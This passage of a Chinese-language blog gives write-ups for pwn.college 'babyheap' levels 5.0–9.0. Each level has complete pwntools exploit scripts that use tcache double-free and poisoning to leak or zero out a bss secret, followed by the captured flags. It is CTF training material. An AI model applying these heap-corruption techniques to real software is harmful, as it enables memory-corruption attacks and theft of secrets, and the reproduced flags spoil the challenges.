&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它检测 read_flag 的 malloc 返回的地址处的前 8 字节是否为空，不为空则输出 flag 。&lt;/p&gt;
&lt;p&gt;对 &lt;code&gt;mlloc_chunk&lt;/code&gt; 结构体熟悉的话就知道前 8 字节是 fd 的位置。那我们现在没有任何可以向 chunk data 写入数据的方法，如何修改 fd 呢？自然是 free 啦～&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level5.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def puts_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;puts_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    malloc(0, 496)
    malloc(1, 496)
    free(0)
    free(1)
    read_flag()
    free(1)
    puts_flag()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{ckg3CON3ru3-ygB82VxLMcRUuBS.0VO3MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 5.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Apply the TCACHE metadata in an unintended manner to set a value.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-50&quot;&gt;Level 5.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level5.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def read_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;read_flag&quot;)


def puts_flag():
    target.sendlineafter(b&quot;: &quot;, b&quot;puts_flag&quot;)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    malloc(0, 456)
    malloc(1, 456)
    free(0)
    free(1)
    read_flag()
    free(1)
    puts_flag()
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{YWZIg8kQV_nzpSzsFagMNO6O6Qn.0FM4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 6.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Corrupt the TCACHE entry_struct to read unintended memory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;ptr 数组管理多个分配，&lt;code&gt;scanf&lt;/code&gt; 向指定 chunk 写入 data，&lt;code&gt;send_flag&lt;/code&gt; 验证输入的 secret 与随机生成的存放在 bss 中的 secret 是否相同，相同则输出 flag 。&lt;/p&gt;
&lt;p&gt;这是生成随机 8 字节 secret 的部分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  for ( i = 0; i &amp;lt;= 7; ++i )
    byte_428849[i] = rand() % 26 + 97;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于没开 PIE，而生成的 secret 又是保存在 bss 段，所以我们可以精准定位 secret 的地址。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;puts&lt;/code&gt; 将 &lt;code&gt;ptr[idx]&lt;/code&gt; 视为字符串指针，输出其保存的内容。所以我们只要想办法令 malloc 返回给 ptr[idx] 的地址为 bss 上存放 secret 的地址就可以输出 secret 了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    p32,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level6.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, str(secret).encode(&quot;ascii&quot;))


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    secret = elf.bss() + 0x18849

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b&quot;Data: &quot;)
    secret = target.recvline().strip().decode(&quot;ascii&quot;)
    send_flag(secret)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{wLCxyleFYPCBwUq2LzFkqEM8qzv.0VM4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 6.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Corrupt the TCACHE entry_struct to read unintended memory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-60&quot;&gt;Level 6.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    p32,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level6.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, str(secret).encode(&quot;ascii&quot;))


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    secret = elf.bss() + 0x1B553

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b&quot;Data: &quot;)
    secret = target.recvline().strip().decode(&quot;ascii&quot;)
    send_flag(secret)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{oc9V7EmGNRr7415ZlPgXYL-qDjV.0lM4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 7.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Corrupt the TCACHE entry_struct to read unintended memory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题一样，但是这次变成了 16 字节随机值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  for ( i = 0; i &amp;lt;= 15; ++i )
    byte_429532[i] = rand() % 26 + 97;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;问题就在于，按照上个方法我们令 malloc 拿到 secret 的地址后，它会将 &lt;code&gt;e-&amp;gt;key = NULL&lt;/code&gt;，导致后 8 字节被清空。&lt;/p&gt;
&lt;p&gt;但是也很好解决。既然我们可以泄漏出前 8 字节，那我们将偏移加 8 再来一次不就泄漏出后 8 字节了吗？&lt;/p&gt;
&lt;p&gt;分析下面设置 seed 的流程我们知道，seed 每次运行程序都是一样的，由于上面生成随机 secret 的部分用的是伪随机数发生器，所以每次运行结果也是不变的，那就没啥好担心的了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned __int64 flag_seed()
{
  unsigned int seed; // [rsp+4h] [rbp-9Ch]
  unsigned int i; // [rsp+8h] [rbp-98h]
  int fd; // [rsp+Ch] [rbp-94h]
  _QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF
  unsigned __int64 v5; // [rsp+98h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(buf, 0, 128);
  fd = open(&quot;/flag&quot;, 0);
  if ( fd &amp;lt; 0 )
    __assert_fail(&quot;fd &amp;gt;= 0&quot;, &quot;&amp;lt;stdin&amp;gt;&quot;, 0x20u, &quot;flag_seed&quot;);
  if ( read(fd, buf, 0x80uLL) &amp;lt;= 0 )
    __assert_fail(&quot;read(fd, flag, 128) &amp;gt; 0&quot;, &quot;&amp;lt;stdin&amp;gt;&quot;, 0x21u, &quot;flag_seed&quot;);
  seed = 0;
  for ( i = 0; i &amp;lt;= 31; ++i )
    seed ^= *((_DWORD *)buf + (int)i);
  srand(seed);
  memset(buf, 0, 128uLL);
  return __readfsqword(0x28u) ^ v5;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反正我用的方法比较简单粗暴，不过我也想过一次性泄漏完整的 secret，那就需要伪造 chunk size，提前做点布局……实际操作起来还挺麻烦的，也就没继续深入……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    p32,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level7.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, str(secret).encode(&quot;ascii&quot;))


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    secret_p1 = elf.bss() + 0x19532
    secret_p2 = secret_p1 + 0x8

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p1))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b&quot;Data: &quot;)
    secret_p1 = target.recvline().strip().decode(&quot;ascii&quot;)
    target.success(f&quot;Part 1: {secret_p1}&quot;)
    target.close()
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p2))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b&quot;Data: &quot;)
    secret_p2 = target.recvline().strip().decode(&quot;ascii&quot;)
    target.success(f&quot;Part 2: {secret_p2}&quot;)

    secret = secret_p1 + secret_p2
    send_flag(secret)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{QXpTguKBiT4StYFr24ZsUSfm3-8.01M4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 7.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Corrupt the TCACHE entry_struct to read unintended memory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-70&quot;&gt;Level 7.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    p32,
    process,
    raw_input,
    remote,
)

FILE = &quot;/challenge/babyheap_level7.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, str(secret).encode(&quot;ascii&quot;))


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    secret_p1 = elf.bss() + 0x17051
    secret_p2 = secret_p1 + 0x8

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p1))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b&quot;Data: &quot;)
    secret_p1 = target.recvline().strip().decode(&quot;ascii&quot;)
    target.success(f&quot;Part 1: {secret_p1}&quot;)
    target.close()
    launch()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret_p2))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)

    target.recvuntil(b&quot;Data: &quot;)
    secret_p2 = target.recvline().strip().decode(&quot;ascii&quot;)
    target.success(f&quot;Part 2: {secret_p2}&quot;)

    secret = secret_p1 + secret_p2
    send_flag(secret)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{cy0iZfUAyZ9bbo5DL_cS-9sxRN6.0FN4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 8.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to pass a validation check.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题几乎是一样的，除了这次 secret 被刻意放在了以 &lt;code&gt;\x0a&lt;/code&gt; 结尾的地址处。由于它代表 LF (Line Feed)，所以我们不能直接通过 &lt;code&gt;scanf&lt;/code&gt; 将它读入，最终会少写一个 &lt;code&gt;\x0a&lt;/code&gt;。只要解决了这个问题，其它的问题就可以直接套用上题 exp 思路了。&lt;/p&gt;
&lt;p&gt;感觉这题还是有一点小难的，至少对于刚开始学的我来说并不简单。当时卡了我两天，没有什么头绪，唯一想到可行的解法是 scanf overwrite fd，指向 secret 地址向后偏移 4 字节的地方，然后我们可以就可以泄漏 12/16 的 secret 了。问题是，如何得到剩下的四个字符呢？我想过伪造 chunk 什么的方法，但是都已失败告终了。最后，我还是老老实实的写了个 bruteforce 的 approach，结果预估了一下时间，爆破四个小写字母，也就是 $1/26^{4}$ 的 chance 成功，单线程都跑不满的情况下，得要 2h 45min……草啊，我本地得测试吧，3h 没了，远程再打一遍，3h 又没了。虽然这个方法可行，但是感觉也太蠢了……&lt;/p&gt;
&lt;p&gt;后来尝试让 AI 写个多线程爆破的 approach，写的和屎一样，最后虽然写出来了，但还是有点问题，总之虽然爆破理论可行，但是因为我运气不好，就没见过它爆出来的样子……&lt;/p&gt;
&lt;p&gt;不过回想起去年，也让 AI 写过多线程爆破的脚本，相比那次，这次代码质量算高了好几倍了，发展的还是很快的/悲&lt;/p&gt;
&lt;p&gt;遂又去思考更好的方法，思考能不能泄漏完整的 secret 。想了整整一下午，没想出来，感觉完整泄漏好像不太可能，然后盯着检测代码发呆，~试图看穿屏幕……~&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    if ( strcmp(s1, &quot;send_flag&quot;) )
      break;
    printf(&quot;Secret: &quot;);
    __isoc99_scanf(&quot;%127s&quot;, s1);
    puts(s_0);
    if ( !memcmp(s1, s2_0, 0x10u) )
    {
      puts(&quot;Authorized!&quot;);
      win();
    }
    else
    {
      puts(&quot;Not authorized!&quot;);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;既然不能泄漏完整的 secret，那还有没有其它通过这个检测的方法呢？思考……突然灵光闪现，因为 malloc 从 tcache 取 chunk 会将它的 key 清空，那如果我们 malloc 到 secret 前面，然后让 &lt;code&gt;tcache_get&lt;/code&gt; 将 secret 的前 8 字节清空，是不是就相当于知道了 secret 的前 8 字节为 NULL？然后结合我们之前的思路，可以泄漏后 8 字节……草，出了！&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level8.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, secret)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    secret = elf.bss() + 0x1230A + 0x8
    zero_out = elf.bss() + 0x1230A - 0x8

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    secret = target.recvline().strip()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p32(zero_out))
    malloc(0, 0)
    malloc(0, 0)

    # raw_input(&quot;DEBUG&quot;)
    payload = flat(
        0,
        secret,
    )
    send_flag(payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{4xf_sG0yXaGhMXdibln3SOAB5xv.0VN4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 8.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to pass a validation check.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-80&quot;&gt;Level 8.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level8.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode(&quot;ascii&quot;))


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode(&quot;ascii&quot;))
    target.sendline(data)


def send_flag(secret):
    target.sendlineafter(b&quot;: &quot;, b&quot;send_flag&quot;)
    target.sendlineafter(b&quot;Secret: &quot;, secret)


def quit():
    target.sendlineafter(b&quot;: &quot;, b&quot;quit&quot;)


def main():
    launch()

    secret = elf.bss() + 0x19E0A + 0x8
    zero_out = elf.bss() + 0x19E0A - 0x8

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    scanf(0, p32(secret))
    malloc(0, 0)
    malloc(0, 0)
    puts(0)
    target.recvuntil(b&quot;Data: &quot;)
    secret = target.recvline().strip()

    malloc(0, 0)
    malloc(1, 0)
    free(1)
    free(0)
    # raw_input(&quot;DEBUG&quot;)
    scanf(0, p32(zero_out))
    malloc(0, 0)
    malloc(0, 0)

    # raw_input(&quot;DEBUG&quot;)
    payload = flat(
        0,
        secret,
    )
    send_flag(payload)
    quit()

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;:spoiler[&lt;code&gt;pwn.college{0K4zGLVnFNCz2zhqd0R7tWLsOLW.0lN4MDL5cTNxgzW}&lt;/code&gt;]&lt;/p&gt;
&lt;h1&gt;Level 9.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Leverage TCACHE exploits to pass a validation check.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题一样，但是这次不能分配到 secret 附近了，泄漏完全不可能。不过还是可以利用 &lt;code&gt;tcache_get&lt;/code&gt; 清空 key 的特性将 secret 完全清空，这样我们就知道 secret 为 NULL 了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
)


FILE = &quot;/challenge/babyheap_level9.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def malloc(idx, size):
    target.sendlineafter(b&quot;: &quot;, b&quot;malloc&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
    target.sendlineafter(b&quot;Size: &quot;, str(size).encode())


def free(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;free&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def puts(idx):
    target.sendlineafter(b&quot;: &quot;, b&quot;puts&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())


def scanf(idx, data):
    target.sendlineafter(b&quot;: &quot;, b&quot;scanf&quot;)
    target.sendlineafter(b&quot;Index: &quot;, str(idx).encode())
